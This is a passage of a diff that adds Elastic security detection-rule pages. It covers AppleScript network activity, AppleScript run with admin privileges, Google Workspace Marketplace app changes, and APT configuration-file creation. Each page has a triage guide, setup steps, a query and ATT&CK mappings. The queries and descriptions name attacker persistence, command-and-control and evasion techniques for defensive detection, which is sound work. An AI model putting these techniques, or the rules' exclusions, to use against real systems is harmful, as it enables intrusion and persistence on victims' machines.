ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apple-script-execution-followed-by-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apple-script-execution-followed-by-network-connection.asciidoc new file mode 100644 index 0000000000..c79597cde7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apple-script-execution-followed-by-network-connection.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-apple-script-execution-followed-by-network-connection]] +=== Apple Script Execution followed by Network Connection + +Detects execution via the Apple script interpreter (osascript) followed by a network connection from the same process within a short time period. Adversaries may use malicious scripts for execution and command and control. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Apple Script Execution followed by Network Connection* + + +AppleScript, a scripting language for macOS, automates tasks by controlling applications and system functions. Adversaries exploit it to execute scripts that establish unauthorized network connections, facilitating command and control activities. The detection rule identifies such abuse by monitoring the osascript process for script execution followed by network activity, excluding local and private IP ranges, within a short timeframe. + + +*Possible investigation steps* + + +- Review the process details for the osascript execution event, focusing on the process.entity_id and host.id to understand the context of the script execution. +- Examine the network connection details associated with the osascript process, particularly the destination IP address, to determine if it is known or suspicious, and check if it falls outside the excluded IP ranges. +- Investigate the script content or command line arguments used in the osascript execution to identify any potentially malicious or unexpected behavior. +- Check the timeline of events to see if there are any other related or suspicious activities occurring on the same host around the time of the osascript execution and network connection. +- Correlate the osascript activity with any other alerts or logs from the same host to identify patterns or additional indicators of compromise. +- Assess the user account associated with the osascript process to determine if it is a legitimate user or if there are signs of account compromise. + + +*False positive analysis* + + +- Legitimate automation scripts may trigger the rule if they execute osascript and establish network connections. Review the script's purpose and source to determine if it is authorized. +- System management tools that use AppleScript for remote administration can cause false positives. Identify these tools and consider creating exceptions for their known processes. +- Software updates or applications that use AppleScript for network communication might be flagged. Verify the application's legitimacy and update the rule to exclude these specific processes or IP addresses. +- Development environments that utilize AppleScript for testing or deployment may inadvertently match the rule. Ensure these environments are recognized and excluded from monitoring if they are trusted. +- Regularly review and update the list of excluded IP ranges and processes to ensure they reflect the current network and application landscape, minimizing unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access or data exfiltration. +- Terminate the osascript process identified in the alert to stop any ongoing malicious activity. +- Conduct a thorough review of the executed AppleScript to identify any malicious commands or payloads and remove any associated files or scripts from the system. +- Reset credentials for any accounts that were accessed or could have been compromised during the incident. +- Apply security patches and updates to the macOS system to address any vulnerabilities that may have been exploited. +- Monitor network traffic for any further suspicious activity originating from the affected host or similar patterns across other systems. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=30s + [process where host.os.type == "macos" and event.type == "start" and process.name == "osascript"] + [network where host.os.type == "macos" and event.type == "start" and process.name == "osascript" and + not cidrmatch(destination.ip, + "240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", "198.19.0.0/16", "192.18.0.0/15", + "192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", + "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apple-scripting-execution-with-administrator-privileges.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apple-scripting-execution-with-administrator-privileges.asciidoc new file mode 100644 index 0000000000..5809995efd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apple-scripting-execution-with-administrator-privileges.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-apple-scripting-execution-with-administrator-privileges]] +=== Apple Scripting Execution with Administrator Privileges + +Identifies execution of the Apple script interpreter (osascript) without a password prompt and with administrator privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://discussions.apple.com/thread/2266150 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Apple Scripting Execution with Administrator Privileges* + + +AppleScript, a scripting language for macOS, automates tasks by controlling applications and system functions. Adversaries may exploit it to execute scripts with elevated privileges, bypassing password prompts, to gain unauthorized access or escalate privileges. The detection rule identifies such misuse by monitoring the execution of AppleScript with admin rights, excluding benign parent processes like Electron, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of 'osascript' with administrator privileges, focusing on the command line arguments to understand the script's intent. +- Investigate the parent process of 'osascript' to determine if it is a known and trusted application, ensuring it is not 'Electron' or any other excluded parent processes. +- Check the user account associated with the 'osascript' execution to verify if it is a legitimate account and assess if there are any signs of compromise or unauthorized access. +- Analyze recent system logs and user activity to identify any unusual behavior or patterns that coincide with the time of the alert. +- Correlate this event with other security alerts or incidents to determine if it is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Known false positives may arise from legitimate applications that use AppleScript with administrator privileges for valid operations, such as software installers or system management tools. +- Exclude processes with benign parent applications like Electron, as specified in the rule, to reduce false positives from common development environments. +- Consider adding exceptions for other trusted applications that frequently use AppleScript with elevated privileges, ensuring they are verified and necessary for business operations. +- Regularly review and update the list of excluded applications to adapt to changes in software usage and maintain effective threat detection. +- Monitor the frequency and context of alerts to identify patterns that may indicate false positives, adjusting the detection rule as needed to minimize unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious osascript processes running with administrator privileges that were not initiated by known, legitimate applications. +- Review system logs and process execution history to identify any unauthorized changes or access that occurred during the incident. +- Revoke any compromised credentials or accounts that may have been used to execute the AppleScript with elevated privileges. +- Restore the system to a known good state from a backup taken before the unauthorized script execution, if necessary. +- Implement application whitelisting to prevent unauthorized scripts from executing with elevated privileges in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security controls or monitoring enhancements. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "osascript" and + process.command_line : "osascript*with administrator privileges" and + ((process.parent.code_signature.trusted == false or process.parent.code_signature.exists == false) or process.Ext.effective_parent.executable like ("/tmp/*", "/private/tmp/*", "/Users/Shared/*")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Elevated Execution with Prompt +** ID: T1548.004 +** Reference URL: https://attack.mitre.org/techniques/T1548/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-application-added-to-google-workspace-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-application-added-to-google-workspace-domain.asciidoc new file mode 100644 index 0000000000..10f1d78ac2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-application-added-to-google-workspace-domain.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-20-application-added-to-google-workspace-domain]] +=== Application Added to Google Workspace Domain + +Detects when a Google marketplace application is added to the Google Workspace domain. An adversary may add a malicious application to an organization’s Google Workspace domain in order to maintain a presence in their target’s organization and steal data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Added to Google Workspace Domain* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or on Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Applications can be installed by individual users, if they have permission, or can be installed for an entire Google Workspace domain by administrators. Consent screens typically display what permissions and privileges the application requires during installation. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any product on the Marketplace that originates from a source other than Google. + +This rule checks for applications that were manually added to the Marketplace by a Google Workspace account. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- With access to the Google Workspace admin console, visit the `Security > Investigation tool` with filters for the user email and event is `Assign Role` or `Update Role` to determine if new cloud roles were recently updated. +- With the user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Google Workspace administrators might intentionally remove an application from the blocklist due to a re-assessment or a domain-wide required need for the application. +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Contact the user to verify that they intentionally removed the application from the blocklist and their reasoning. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:ADD_APPLICATION + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-application-removed-from-blocklist-in-google-workspace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-application-removed-from-blocklist-in-google-workspace.asciidoc new file mode 100644 index 0000000000..8411b17b7c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-application-removed-from-blocklist-in-google-workspace.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-application-removed-from-blocklist-in-google-workspace]] +=== Application Removed from Blocklist in Google Workspace + +Google Workspace administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Removed from Blocklist in Google Workspace* + + +Google Workspace Marketplace is an online store for free and paid web applications that work with Google Workspace services and third-party software. Listed applications are based on Google APIs or Google Apps Script and created by both Google and third-party developers. + +Marketplace applications require access to specific Google Workspace resources. Individual users with the appropriate permissions can install applications in their Google Workspace domain. Administrators have additional permissions that allow them to install applications for an entire Google Workspace domain. Consent screens typically display permissions and privileges the user needs to install an application. As a result, malicious Marketplace applications may require more permissions than necessary or have malicious intent. + +Google clearly states that they are not responsible for any Marketplace product that originates from a source that isn't Google. + +This rule identifies a Marketplace blocklist update that consists of a Google Workspace account with administrative privileges manually removing a previously blocked application. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- This rule relies on data from `google_workspace.admin`, thus indicating the associated user has administrative privileges to the Marketplace. +- With access to the Google Workspace admin console, visit the `Security > Investigation` tool with filters for the user email and event is `Assign Role` or `Update Role` to determine if new cloud roles were recently updated. +- After identifying the involved user account, review other potentially related events within the last 48 hours. +- Re-assess the permissions and reviews of the Marketplace applications to determine if they violate organizational policies or introduce unexpected risks. +- With access to the Google Workspace admin console, determine if the application was installed domain-wide or individually by visiting `Apps > Google Workspace Marketplace Apps`. + + +*False positive analysis* + + +- Google Workspace administrators might intentionally remove an application from the blocklist due to a re-assessment or a domain-wide required need for the application. +- Identify the user account associated with this action and assess their administrative privileges with Google Workspace Marketplace. +- Contact the user to verify that they intentionally removed the application from the blocklist and their reasoning. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.admin" and event.category:"iam" and event.type:"change" and + event.action:"CHANGE_APPLICATION_SETTING" and + google_workspace.admin.application.name:"Google Workspace Marketplace" and + google_workspace.admin.old_value: *allowed*false* and google_workspace.admin.new_value: *allowed*true* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apt-package-manager-configuration-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apt-package-manager-configuration-file-creation.asciidoc new file mode 100644 index 0000000000..8fabc17705 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-apt-package-manager-configuration-file-creation.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-20-apt-package-manager-configuration-file-creation]] +=== APT Package Manager Configuration File Creation + +Detects file creation events in the configuration directory for the APT package manager. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on (by default) Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://packetstormsecurity.com/files/152668/APT-Package-Manager-Persistence.html +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating APT Package Manager Configuration File Creation* + + +APT is a crucial tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by inserting malicious scripts into its configuration files, ensuring persistent access. The detection rule monitors for unauthorized file creation or renaming in APT's configuration directory, excluding legitimate processes, to identify potential tampering. + + +*Possible investigation steps* + + +- Review the file creation or renaming event details, focusing on the file path to confirm it is within the APT configuration directory (/etc/apt/apt.conf.d/). +- Identify the process responsible for the file creation or renaming by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the query. +- Investigate the origin and purpose of the newly created or renamed file by checking its contents for any suspicious or unauthorized scripts or configurations. +- Correlate the event with recent system activity to determine if there are any other related alerts or anomalies, such as unusual user logins or network connections, that could indicate a broader attack. +- Check the file's metadata, such as timestamps and ownership, to identify any discrepancies or signs of tampering that could suggest malicious activity. +- If the process responsible for the event is unknown or suspicious, conduct a deeper analysis of the process, including its parent process, command-line arguments, and any associated network activity. + + +*False positive analysis* + + +- Legitimate package management operations by system tools like dpkg or apt-get can trigger alerts. To manage this, ensure these processes are included in the exclusion list within the detection rule. +- Temporary files created during package updates or installations, such as those with extensions like swp or dpkg-new, may cause false positives. Exclude these file extensions from triggering alerts. +- Automated system maintenance scripts or tools like puppet or chef-client might modify APT configuration files as part of their normal operations. Add these processes to the exclusion list to prevent unnecessary alerts. +- Custom scripts or administrative tasks that involve renaming or creating files in the APT configuration directory should be reviewed. If deemed safe, add these specific scripts or processes to the exclusion criteria. +- Processes running from directories like /nix/store or /var/lib/dpkg may be part of legitimate system operations. Consider excluding these paths if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Conduct a thorough review of the newly created or renamed files in the /etc/apt/apt.conf.d/ directory to identify any malicious scripts or unauthorized changes. +- Remove any identified malicious files or scripts from the APT configuration directory to eliminate the persistence mechanism. +- Restore any legitimate configuration files from a known good backup to ensure the integrity of the APT configuration. +- Perform a comprehensive scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or unauthorized changes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the APT configuration directory and related processes to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path : "/etc/apt/apt.conf.d/*" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", 